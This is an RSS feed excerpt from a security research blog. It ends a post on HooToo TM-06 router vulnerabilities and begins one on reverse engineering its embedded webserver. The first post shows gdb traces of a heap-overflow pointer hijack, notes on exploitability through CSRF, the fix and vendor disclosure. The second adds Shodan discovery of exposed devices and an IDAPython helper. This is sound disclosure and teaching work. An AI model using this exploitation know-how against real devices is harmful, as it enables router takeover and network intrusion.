&lt;p&gt;The snippet above shows the destination and the source buffers. The source being controlled by the attacker, we see that the attacker is ready to supply a new pointer value. Now, let’s breakpoint just after the &lt;code class=&quot;highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; call.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 2, 0x00521bec in ?? ()
1: x/10i $pc
=&amp;gt; 0x521bec: lw gp,24(sp)
   0x521bf0: b 0x521c08
   0x521bf4: nop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The end of the original destination buffer now looks like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/10wx $a0+1000
0x5ad710: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad720: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad730: 0x41414141 0x42ff4242
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that the addresses on the destination buffer match exactly and the pointer at &lt;code class=&quot;highlighter-rouge&quot;&gt;0x5ad730 + 4&lt;/code&gt; has a new value &lt;code class=&quot;highlighter-rouge&quot;&gt;0x42ff4242&lt;/code&gt; which is clearly invalid. If we let the program run we see that the program will use this address to look for instructions to execute:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Program received signal SIGBUS, Bus error.
0x42ff4242 in ?? ()
1: x/10i $pc
=&amp;gt; 0x42ff4242: &amp;lt;error: Cannot access memory at address 0x42ff4240&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Not good! The new pointer takes effect slightly further down the execution path from the &lt;code class=&quot;highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; overwrite:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:004136A4  addu    $v0, $v1, $v0         # Add Unsigned
.text:004136A8  lw      $t9, 0x6C64($v0)      # Load Word
.text:004136AC  lw      $a0, 0x28+var_C($sp)  # Load Word
.text:004136B0  jalr    $t9                   # &amp;lt;- gain PC control
.text:004136B4  nop
.text:004136B8  lw      $gp, 0x28+var_18($sp) # Load Word
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The purpose of the above function is unknown but this is where the attacker gains control of the execution. This vulnerability is very much exploitable. What we notice is that the heap is allocated at low addresses and its structure is not randomized. This means that the heap allocations are at predictable addresses and the way that the server is implemented makes the malloc allocations predictable. It is probably due to the minimal implementation of the heap algorithms for the embedded system as well as the server’s single threaded model. So, we were able to insert a static address into our exploit buffer. Then we can point the program counter to our shellcode and take control of the device!&lt;/p&gt;

&lt;p&gt;Unlike the stack overflow vulnerability, this one requires a more complex HTTP request. This means that the attack vector gets a little more complicated. However, since the device listens to all interfaces we can exploit the router directly from, say, a rogue WiFi router that it connects to.&lt;/p&gt;

&lt;h2 id=&quot;fix&quot;&gt;Fix&lt;/h2&gt;
&lt;p&gt;The bug is trivial to fix. As a general rule &lt;code class=&quot;highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; is considered dangerous and should be avoided. Instead, use &lt;code class=&quot;highlighter-rouge&quot;&gt;strncpy&lt;/code&gt; which accepts the size of the destination buffer as a parameter which would prevent such overwrites.&lt;/p&gt;

&lt;p&gt;As an additional measure of protection, the function pointers on the heap should be XORed with an execution specific random integer. This way an attacker would not be able to overwrite them with useful values thereby preventing exploitation attempts even in the presence of overflow conditions.&lt;/p&gt;

&lt;h1 id=&quot;reporting-to-the-vendor&quot;&gt;Reporting to the vendor&lt;/h1&gt;
&lt;p&gt;The vulnerabilities were reported to the vendor on January 24, 2017 (stack overflow) and January 21, 2017 (heap overflow). The company quickly acknowledged their receipt and provided a new build with a patch on February 19, 2017. I found it interesting that HooToo has provided the update to me personally rather than making it generally available. Their download page was later updated on March 7, 2017. It is very important to take such vulnerabilities seriously and make patches generally available as quickly as possible.&lt;/p&gt;

&lt;p&gt;Upon examining the change log, I only saw this line:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fix the bug caused by fname protocol
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;There are many reasons why an attacker might want to exploit these devices. One obvious reason is to gain access to the user’s information or manipulate user activity. Having malware on the router means that the attacker could potentially see unencrypted traffic, modify their DNS lookups to enable man-in-the-middle attacks or inject malicious content into traffic. For example, have the ability to inject iframes for browser exploitation or catch vulnerable update mechanisms [2].&lt;/p&gt;

&lt;p&gt;Other reasons for leveraging the vulnerabilities in the travel routers are a bit more indirect. One is to obfuscate attack sources and make attribution harder by creating a jump point [1]. Another is to use the router to infect other systems. A person using the travel router would likely be traveling a lot and touching many different networks from a position of some trust. These networks could include hotels, airbnb’s, private residences, cafes and enterprises. And so, having malware on the device would give an attacker a foothold inside another network.&lt;/p&gt;

&lt;p&gt;Both of the aforementioned vulnerabilities are web based and require the attacker to have direct access via an IP address. The easiest way is via a user connected to the WiFi created by the device. However, another way is to go from the outside network. That is because the webserver doesn’t just listen on the internal network, it listens on all interfaces. And so, if an AirBnB network has been compromised then an attacker could discover the router as the client on the WiFi and launch attacks from there. There is already an example of malware for Android caught in the wild attacking host WiFi routers [3].&lt;/p&gt;

&lt;p&gt;The stack overflow vulnerability presents another interesting opportunity for the attacker because it doesn’t require the attacker to be on the network along side the device. It has been previously reported [4] that the device is vulnerable to Cross Site Request Forgery attacks. Since the overflow is in processing of a GET request field, it means that the attacker just needs a user to open a page with a forged request to gain execution on the router. Now, that is an awesome attack vector!&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;p&gt;[1] &lt;a href=&quot;https://securelist.com/files/2016/10/Bartholomew-GuerreroSaade-VB2016.pdf&quot;&gt;WAVE YOUR FALSE FLAGS! DECEPTION TACTICS MUDDYING ATTRIBUTION IN TARGETED ATTACKS.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[2] &lt;a href=&quot;https://www.tenable.com/sc-dashboards/update-services-vulnerability-summary&quot;&gt;Update Services Vulnerability Summary&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[3] &lt;a href=&quot;https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/&quot;&gt;Switcher: Android joins the ‘attack-the-router’ club&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 09 May 2017 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2017/05/09/tm06-vulnerabilities/</link>
        <guid isPermaLink="true">http://debugtrap.com/2017/05/09/tm06-vulnerabilities/</guid>
      </item>
     
    
     
      <item>
        <title>Reverse Engineering of an Embedded Webserver</title>
        <description>&lt;p&gt;&lt;strong&gt;Part 2:&lt;/strong&gt; In this article we look into the implementation of the embedded webserver that runs on the HooToo Travel Mate 6 router (the device). The webserver is at the core of the TM-06 user interface. It is also the best attack surface to start with. It is best due to the complexity of processing web requests and a historical precedent of web software being susceptible to memory corruption vulnerabilities.&lt;/p&gt;

&lt;h1 id=&quot;locating-the-webserver&quot;&gt;Locating the webserver&lt;/h1&gt;
&lt;p&gt;Looking at the HTTP traffic we see that there are two webservers at play. First is the &lt;code class=&quot;highlighter-rouge&quot;&gt;lighttpd/1.4.28&lt;/code&gt; and another is the &lt;code class=&quot;highlighter-rouge&quot;&gt;vshttpd&lt;/code&gt;. Different server values are returned even though same IP/port combinations are used. Clearly there is some sort of proxying set up. So, let’s go looking for these servers.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.lighttpd.net/2010/8/22/1-4-28/&quot;&gt;lighttpd&lt;/a&gt; is a commonly used webserver for embedded and other small scale systems. It even comes with its own set of &lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-2713/product_id-4762/version_id-155082/Lighttpd-Lighttpd-1.4.28.html&quot;&gt;vulnerabilities&lt;/a&gt;. However, &lt;code class=&quot;highlighter-rouge&quot;&gt;vshttpd&lt;/code&gt; seems to be an unknown entity - at least, to a westerner. After much googling, I have not found any source code. The only things that were found are an empty &lt;a href=&quot;https://sourceforge.net/projects/vshttpd/&quot;&gt;sourceforge project&lt;/a&gt; and an attempt to have an http interface for &lt;a href=&quot;http://scarybeastsecurity.blogspot.com/2010/03/vsftpd-http-lunacy.html&quot;&gt;vsftp&lt;/a&gt;. So, I have to assume that this was an in-house type of project which means that binary reverse engineering is a must.&lt;/p&gt;

&lt;p&gt;Using shodan I’ve been able to find a few instances around East Asia. However, there are only a few and they come and go.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DATA SAVER
[IP REDACTED]
[IP REDACTED].ap.yournet.ne.jp
FreeBit Co.,Ltd.
Added on 2017-04-30 06:18:54 GMT
Japan

Details 
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 8338
Content-type: text/html
Set-cookie: SESSID=DhvFlqSu36MgAzB5tfMOAMeq2VSwY4Itlf1xxSSqYvFw3;
Date: Sun, 30 Apr 2017 06:18:51 GMT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Going to that IP, we can see the login page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../../images/hootoo_shodan_found_device.png&quot; alt=&quot;&quot; title=&quot;Some random device found by Shodan to have the same webserver&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Based on the requests generated by the login page, we can see that it is, indeed, using the same webserver as our TM-06 router:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Request URL:http://[IP REDACTED]/protocol.csp?fname=system&amp;amp;opt=web_lang_list&amp;amp;function=get
Request Method:GET
Status Code:200 OK
Remote Address:[IP REDACTED]:80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, potentially, &lt;code class=&quot;highlighter-rouge&quot;&gt;vshttpd&lt;/code&gt; is some private web server implementation that has been resold by the same contractor to various device manufacturers. This is exciting because the findings we make will be applicable to a number of devices. I’ve masked the target IPs for their safety, but if you so wish to find them again just have a look at &lt;a href=&quot;https://www.shodan.io/&quot;&gt;Shodan&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;finding-the-binary&quot;&gt;Finding the binary&lt;/h2&gt;

&lt;p&gt;Scanning through &lt;em&gt;/etc/init.d&lt;/em&gt; directory, we find that &lt;code class=&quot;highlighter-rouge&quot;&gt;fileserv.sh&lt;/code&gt; has references &lt;em&gt;/etc/fileserv/lighttpd.conf&lt;/em&gt;. That’s cool, it means that &lt;em&gt;/usr/sbin/fileserv&lt;/em&gt; is the &lt;em&gt;lighttpd&lt;/em&gt; server we are looking for. The binary is referenced by the same shell script. Scanning further, we find an &lt;em&gt;/etc/init.d/web&lt;/em&gt; file which has references to the &lt;em&gt;/usr/sbin/ioos&lt;/em&gt; file. Based on the name and the process of elimination let’s decide that this is our other webserver which calls itself &lt;code class=&quot;highlighter-rouge&quot;&gt;vshttpd&lt;/code&gt;. This will be confirmed by reverse engineering.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ strings /usr/sbin/ioos | grep vshttpd
Server: vshttpd

$ strings /usr/sbin/fileserv | grep light
Server: lighttpd/1.4.28
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We get some good confirmation using strings. The &lt;em&gt;file&lt;/em&gt; command gives us some good information on what to expect.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/sbin/fileserv: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), 
                    dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
/usr/sbin/ioos:     ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), 
                    dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;mips-overview&quot;&gt;MIPS Overview&lt;/h1&gt;
&lt;p&gt;The device runs a version of a MIPS processor. The instruction set is documented here: &lt;a href=&quot;https://people.freebsd.org/~adrian/mips/MD00343-2B-24K-SUM-03.11.pdf&quot;&gt;MIPS32 24K&lt;/a&gt;. It is a relatively simple architecture with a small instruction set. I would encourage everyone to learn it because it is prevalent in the embedded devices world, and MIPS is a great starting point to learn about assembly.&lt;/p&gt;

&lt;p&gt;By convention there’s a stack at a high address, similar to that of the x86 systems. On the TM-06 the stack actually moves around due to the memory randomization anti-exploitation measure. The stack is managed by the compiler where it will add/subtract from the &lt;code class=&quot;highlighter-rouge&quot;&gt;$sp&lt;/code&gt; register on function return/calls. The &lt;code class=&quot;highlighter-rouge&quot;&gt;$sp&lt;/code&gt; register stores the current stack pointer. A function preamble would look something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;	li      $gp, 0x18424C          # Load Immediate
	addu    $gp, $t9               # Add Unsigned
	addiu   $sp, -0x38             # Add Immediate Unsigned
	sw      $ra, 0x38+var_4($sp)   # Store Word
	sw      $s0, 0x38+var_8($sp)   # Store Word
	sw      $gp, 0x38+var_20($sp)  # Store Word
	sw      $a0, 0x38+arg_0($sp)   # Store Word
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;There’s a global pointer &lt;code class=&quot;highlighter-rouge&quot;&gt;$gp&lt;/code&gt; for every function - however, in code compiled by the device developers, the global point does not appear to be used for anything of significance. &lt;code class=&quot;highlighter-rouge&quot;&gt;$t9&lt;/code&gt; is a register used for function calls. Commonly, an address would be loaded into &lt;code class=&quot;highlighter-rouge&quot;&gt;$t9&lt;/code&gt; and the program will branch using that register. The &lt;code class=&quot;highlighter-rouge&quot;&gt;$ra&lt;/code&gt; register is used for storing the return address. This is why in the preamble we see it being saved on the stack, so the function knows where to go once it is done.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;	sw      $zero, 0xC($v0)       # Store Word
	lw      $ra, 0x38+var_4($sp)  # Load Word
	lw      $s0, 0x38+var_8($sp)  # Load Word
	addiu   $sp, 0x38             # Add Immediate Unsigned
	jr      $ra                   # Jump Register
	nop
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The above function epilog shows how the return address is used to return the control back to the caller function. The arguments are stored in registers &lt;code class=&quot;highlighter-rouge&quot;&gt;$a0&lt;/code&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;$a4&lt;/code&gt; and usually they are stored on the stack before the function does any actual logic. Certain registers such as the &lt;code class=&quot;highlighter-rouge&quot;&gt;$s0&lt;/code&gt; are preserved by the callee.&lt;/p&gt;

&lt;p&gt;Finally, MIPS is a pipelined architecture where the developer needs to be aware of its semantics. This is specifically important for branching instructions because the instruction after the branch will start execution before the branching actually finishes. Now, the code we will be looking at is not built by an optimizing compiler and so, branching instructions, such as the &lt;code class=&quot;highlighter-rouge&quot;&gt;jr $ra&lt;/code&gt; above, will always have a &lt;code class=&quot;highlighter-rouge&quot;&gt;nop&lt;/code&gt; following.&lt;/p&gt;

&lt;p&gt;I’ve never, until now, reversed MIPS and from personal experience can say that it is a very easy architecture to get a hang of. So, if this is a your first time then just take one step at a time and try to follow through with the examples in this article. You will get used to the architecture and things will become exponentially easier!&lt;/p&gt;

&lt;h1 id=&quot;extracting-the-source&quot;&gt;Extracting the source&lt;/h1&gt;
&lt;p&gt;Compilers are really smart tools, but in the end they are just a transformation function of the source code. So, if the source code has certain patterns then it may be possible to detect and use them to learn about the binary code. In the case of the webserver from the device, the compiler does not perform a lot of optimizations and so we are able to extract quite a lot of information. Next sections will focus on some of the more obvious patterns that I’ve been able to use for my advantage. Going through these examples is useful to learn about the reverse engineering process as well as how to use various IDA interfaces.&lt;/p&gt;

&lt;h2 id=&quot;finding-functions&quot;&gt;Finding functions&lt;/h2&gt;
&lt;p&gt;While perusing the assembly code, I’ve started noticing a simple pattern for error handling recurring over and over. There would be some sort of a check and if the check failed then an error message would be generated. The message is then printed out to the STDERR stream. The assembly looks something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;addiu   $a0, (aHomeProduct_30 - 0x550000)  # &quot;/home/product/mk_wdisk_7620/UIS-V3.0/li&quot;...
...
addiu   $a1, (aSSDMtdUnlock_0 - 0x550000)  # &quot;(%s,%s,%d)\nMTD Unlock failure\n&quot;
...
addiu   $a3, (aFlash_non_regi - 0x550000)  # &quot;flash_non_region_erase&quot;
la      $t9, fprintf     # Load Address
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;There would be a string showing which function failed, something to describe the error (often exposing local compiled out variable names) and the file location of the function. Great information! We could use this to deduce names of functions before the compiler stripped them out.&lt;/p&gt;

&lt;p&gt;There are so many of these error handling blocks that we can’t reasonably go through all of them by hand. So, I want to automate the process of mapping the function names from the error messages to the IDAPro disassembly database. To that end, I wrote a couple of IDAPython functions to help me out. These functions will be specific to the MIPS disassembly that I saw in this webserver. However, the logic is probably applicable to other applications as well.&lt;/p&gt;

&lt;p&gt;Let’s dive in. First thing I notice is that the function responsible for error reporting uses &lt;code class=&quot;highlighter-rouge&quot;&gt;fprintf&lt;/code&gt; this means that the strings I’m seeing are placed into the argument registers. The function below follows that pattern and abuses specifics of the IDA output syntax to extract the information.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;findPrintfStrings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
 &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'file'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

 &lt;span class=&quot;c&quot;&gt;# find the function name, listing printf args&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;disasm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetDisasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;disasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;addi&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetOpnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'$a'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetOpnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;disasm&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

 &lt;span class=&quot;c&quot;&gt;# find the source code file&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;disasm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetDisasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;disasm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;addi&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetOpnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'$a0'&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;disasm&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;' &quot;/home'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'file'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetOperandValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x540000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ASCSTR_C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

 &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Given an address of a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;fprintf&lt;/code&gt; the function will trace back several instructions and find all strings that are stored in the arguments. Noticing that the function name is located in the first variable argument to &lt;code class=&quot;highlighter-rouge&quot;&gt;fprintf&lt;/code&gt;, I don’t need to worry about the arguments placed placed on the stack. The first loop looks at the &lt;code class=&quot;highlighter-rouge&quot;&gt;addi&lt;/code&gt; instructions that refer to the &lt;code class=&quot;highlighter-rouge&quot;&gt;$a0 - $a4&lt;/code&gt; registers. These are the instructions that set the arguments. The second loop looks for references to strings that start with &lt;code class=&quot;highlighter-rouge&quot;&gt;/home&lt;/code&gt; since that is where the source code was, apparently, compiled. Together we get a nice picture of what the error message looks like. We can see the name of the current function and its file location. For the assembly shown above, this is the output we get:&lt;/p&gt;

